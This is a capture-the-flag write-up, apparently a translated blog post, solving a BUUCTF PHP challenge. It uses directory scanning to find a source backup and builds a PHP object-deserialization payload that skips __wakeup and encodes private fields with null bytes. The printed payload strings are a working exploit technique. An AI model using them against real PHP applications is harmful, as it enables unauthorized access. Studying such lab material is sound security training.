[Network Security/CTF] BUUCTF Geek Challenge 2019 Detailed Analysis of PHP Problem Solving (Dirsearch Example + PHP Deserialization)

Article directory

posture

insert image description here

Tip: Have a good habit of backing up your website

So use the dirsearch tool to scan the directory

insert image description here

The resulting scan results contain the www.zip directory

Download zip file via url path:

insert image description here

index.php contains key codes:

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

Get passes a parameter to pass in a parameter select, and the backend serializes it

class.php:

<?php
include 'flag.php';
error_reporting(0);

class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
    
    
        $this->username = 'guest';
    }

    function __destruct(){
    
    
        if ($this->password != 100) {
    
    
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
    
    
            global $flag;
            echo $flag;
        }else{
    
    
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

construct is a constructor, which is automatically called when the object is created to initialize the class, that is to say, the first method that is automatically called by the object after the object is created.

Analysis of the above code shows that when the password is 100 and the username is admin, the flag can be obtained

Therefore, the original POC is constructed by using the get parameter as a springboard:

?select=O:4:"Name":2:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}

in

4表示Name类的长度

2表示类中传入对象的个数,即username和password两个对象

13表示Name username和Name password的字符串长度

5100表示传参的数据类型分别为stringint

Then start to improve the POC:

Before deserialization, the wakeup method will be called first. When the value of the number of objects in the serialized string is greater than the real number, the execution of the wakeup method will be skipped, so the POC can be changed to:

?select=O:4:"Name":3:{s:13:"Name username";s:5:"admin";s:13:"Name password";i:100;}

The echo is as follows:

insert image description here
What haven't been considered yet?

If the constructed chain contains spaces, the spaces will be url-encoded as %20 and the chain will not be deserialized

Therefore, the POC can be changed to

?select=O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}

At the same time, because the fields declared by private are private fields, they are only visible in the declared class, not in the subclasses of the class and in the object instances of the class. Therefore, when the field name of the private field is serialized (that is, the POC is constructed), the class name and the field name will be preceded by characters with ascii 0 (invisible characters)

Therefore, the POC is changed to

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

The echo is as follows:

insert image description here


Summarize

The above is a detailed analysis of [Network Security/CTF] BUUCTF Geek Challenge 2019 PHP problem solving, inspecting the use of the Dirsearch tool and the knowledge points of php deserialization, readers can practice it by themselves.

I am Qiu said , see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/132474927